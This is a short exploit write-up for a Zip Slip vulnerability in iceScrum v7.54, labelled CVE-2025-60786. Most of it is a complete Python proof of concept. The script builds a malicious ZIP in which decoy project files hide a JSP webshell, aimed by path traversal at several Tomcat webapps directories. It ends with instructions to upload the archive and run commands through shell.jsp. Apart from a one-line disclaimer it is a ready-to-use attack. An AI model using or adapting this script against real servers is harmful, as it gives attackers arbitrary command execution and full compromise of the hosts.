A Zip Slip vulnerability in the import a Project component of iceScrum v7.54 Pro On-prem allows attackers to execute arbitrary code via uploading a crafted Zip file.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-60786 PoC - Zip Slip in iceScrum v7.54
# Author: Security Researcher
# Description: Generate malicious ZIP file for path traversal exploit
import zipfile
import os
def create_zip_slip_poc():
"""
Create a malicious ZIP file with path traversal payload.
The payload attempts to write a JSP webshell to the webapps directory.
"""
# Malicious JSP webshell content
webshell_content = '''<%@ page import="java.util.*,java.io.*"%><%if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os=p.getOutputStream();InputStream in=p.getInputStream();DataInputStream dis=new DataInputStream(in);String disr=dis.readLine();while(disr!=null){out.println(disr);disr=dis.readLine();}}%>'''
output_file = 'CVE-2025-60786_poc.zip'
with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zf:
# Normal project file to avoid suspicion
zf.writestr('project/icescrum.json', '{"name":"Test Project","version":"1.0"}')
zf.writestr('project/tasks.json', '{"tasks":[]}')
# Path traversal payload - Zip Slip attack
# This path attempts to escape the intended extraction directory
malicious_path = '../../webapps/icescrum/shell.jsp'
zf.writestr(malicious_path, webshell_content)
# Alternative paths for different server configurations
alternative_paths = [
'../../tomcat/webapps/ROOT/shell.jsp',
'../../../tomcat/webapps/ROOT/shell.jsp',
'../../icescrum/webapps/shell.jsp'
]
for alt_path in alternative_paths:
zf.writestr(alt_path, webshell_content)
print(f'[+] Created malicious ZIP file: {output_file}')
print('[+] Use this file to exploit iceScrum import project feature')
print('[+] After upload, access the shell at: /icescrum/shell.jsp?cmd=whoami')
if __name__ == '__main__':
create_zip_slip_poc()